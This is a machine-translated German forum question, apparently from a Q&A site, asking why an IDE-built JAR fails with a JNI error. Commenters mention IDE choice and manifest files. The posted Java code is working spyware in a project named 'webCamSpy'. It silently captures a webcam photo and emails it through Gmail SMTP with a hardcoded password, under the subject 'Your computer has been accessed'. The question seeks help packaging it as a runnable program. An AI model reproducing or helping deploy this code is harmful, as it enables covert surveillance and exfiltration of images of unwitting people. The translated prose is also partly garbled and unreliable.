Ich versuche, eine JAR-Datei aus dem folgenden Code zu machen:kann nicht .jar-Datei ausführen
public class Main {
public static void main(String[] args) {
boolean net = true;
int num = 0;
do {
if (netIsAvailable()) {
webCapture();
mailSend();
net = false;
}
} while (net);
System.exit(0);
}
public static void webCapture() {
// get default webcam and open it
Webcam webcam = Webcam.getDefault();
webcam.setViewSize(new Dimension(640, 480));
// creates test2.jpg
WebcamUtils.capture(webcam, "test2", "jpg");
}
private static boolean netIsAvailable() {
try {
final URL url = new URL("http://www.google.com");
final URLConnection conn = url.openConnection();
conn.connect();
return true;
} catch (MalformedURLException e) {
throw new RuntimeException(e);
} catch (IOException e) {
return false;
}
}
public static void mailSend() {
final String username = "[email protected]";
final String password = "anaaremere";
Properties props = new Properties();
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
try {
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress(username));
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse("[email protected]"));
message.setSubject("Your computer has been accessed");
message.setText("Congratulation!");
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();
messageBodyPart = new MimeBodyPart();
String file = "C:\\Fast\\JDBCDemoApp\\webCamSpy\\test2.jpg";
String fileName = "attachmentName";
DataSource source = new FileDataSource(file);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(fileName);
multipart.addBodyPart(messageBodyPart);
message.setContent(multipart);
Transport.send(message);
System.out.println("done, email sent ok");
} catch (Exception e) {
System.out.println("Email sending problems");
e.printStackTrace();
}
}
}
Adaequat, kompiliert und läuft ohne Probleme, aber wenn ich tun: Datei | Projektstruktur | Artefakte klicken Sie auf das Plussymbol und erstellen Sie ein neues Artefakt. Wählen Sie -> jar -> Aus Modulen mit Abhängigkeiten.
Build | Build-Artefakte und wenn ich versuche, die neu erstellte JAR-Datei ausführen, bekomme ich den Fehler: Ein Jni-Fehler ist aufgetreten überprüfen Sie bitte Ihre Installation und versuchen Sie es erneut. Irgendeine Idee, wie man das löst?
Es könnte etwas mit dem ide zu tun haben, die Sie verwenden. Warum nicht über Kommandozeile/Terminal laufen? – user2277872
Welche IDE benutzen Sie? – sixtytrees
Nicht alle Gläser sind runnable erstellt. Ein runnable Java muss eine MAINIFEST.MF haben, die die Hauptklasse angibt. Wenn Sie uns sagen, welche IDE Sie verwenden, können Sie uns einige Hinweise geben. –